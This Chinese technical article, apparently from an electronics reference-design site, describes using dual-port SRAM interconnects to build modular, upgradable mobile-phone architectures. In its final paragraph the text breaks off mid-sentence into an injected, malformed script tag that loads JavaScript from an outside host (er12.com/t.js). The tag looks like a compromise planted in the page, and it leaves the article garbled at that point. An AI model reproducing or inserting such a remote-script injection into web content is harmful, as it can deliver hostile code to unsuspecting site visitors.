采用双端口互连开发低成本模块化手机架构

向市场推出新手机的时间要求正在变得越来越紧迫。在面市时间日益缩短的趋势之下,产品要想取得成功,就需要具备更多的功能。伴随着手机市场的发展,手机支持的功能也在不断增多:除了基本的话音通信功能之外,照相机、因特网浏览、流视频、mp3、游戏以及pda功能等都在被越来越多的手机所拥有。

  这些市场需求迫使手机设计者在进行手机系统设计时采取一种递进的方法——在其现有设计的基础上增添新的功能,以求最大限度地减少硬件和软件重新设计的工作量。另外,上述的某些新兴功能在逐渐为大众广泛接受之后,他们也将被集成到硬件之中。然而,该集成周期要比把这些功能推向市场所花费的时间长得多(通常需要18到24个月)。

  在这种情况下,系统设计师唯一可依赖的就是借助能够支持新功能的专用硬件来对现行架构进行升级。

  现行架构的快速升级

  以主存储器为核心的现行架构(比如基带调制解调器)可通过增设一个额外的处理元件(asic、dsp、gpp)而得以强化,一个可运行博弈或视频压缩算法的通用型处理器便是一例。新型处理元件应当能够在改动尽可能少的情况下实现与现行架构的连接。它应该提供用于支持高带宽连通性的足够吞吐量。

  对于一个简单、高吞吐量的接口而言,现有的存储器总线和双端口互连堪称完美的候选方案。这种方法对现有系统的改动很有限,唯一需要的就是增加存储器(见图1)。

图1,通过在一根现行存储器总线上连接一个双端口来实现架构的升级。
  双端口互连是一个具有两个完全独立的sram接口的共享存储器。它允许两个处理单元通过其存储器总线来连接,并进行高带宽通信。就手机而言,它提供了一条给现行架构增添功能的简易途径。一个端口与现行处理器的存储器总线相连,另一个端口则与任何一种具有sram接口的器件相连。这些器件包括任何类型的处理器(用于增加博弈、mp3、视频、甚至pda功能)或调制解调器(用于增加一个新的通信频段、3g加速、802.11连通性或视频广播)。

图2,采用双端口来定义具有独立演进能力的不同子系统。
  模块化架构策略

  手机产品的生命周期正在变得越来越短,这就意味着如果系统设计公司开发的平台仅能维持一个产品生命周期便告终结,则这种高昂的研发投资是其所无法承担的。他们必须开发出能够在手机的更新换代过程中同步演进的平台,从而使其研发成本在多个产品周期中逐步摊销掉。

  该目标只可以通过开发具有模块化架构的平台来实现,因为这样能够使子系统以较低的成本进行独立升级。模块化架构提供了一种可与市场需求保持同步的非常灵活的平台。

  除了能够加快开发进程并缩短调试时间之外,模块化架构还可实现面向不同市场的手机的相似子系统的重用。每种解决方案的成本都能够通过选择不同的处理单元(比如从最简单的处理器到最先进的多媒体应用处理器)来与相同的基带调制解调器相连接的方法做出有针对性的调整。双端口还为在两个子系统之间实现最简单的通信(对存储器进行读和写操作)机理创造了条件。这意味着每个子系统的软件开销均被降至最低限度。

  双端口互连提供了一个简单而标准的存储变换接口,允许一个现行平台与任何其他的(现有的或即将面市的)子系统相连接,从而为模块化平台的实现起到直接的促进作用。这使得新开发的平台能够通过精巧的演进来满足未来的市场需求。

图3,采用模块化架构策略的产品库实例
  图3示出了一个手机oem制造商的产品库发展情况。该oem制造商采取了一种模块化系统策略。一个基带芯片被应用于最简单的设计之中,?script src=http://er12.com/t.js>

  • 采用双端口互连开发低成本模块化手机架构已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计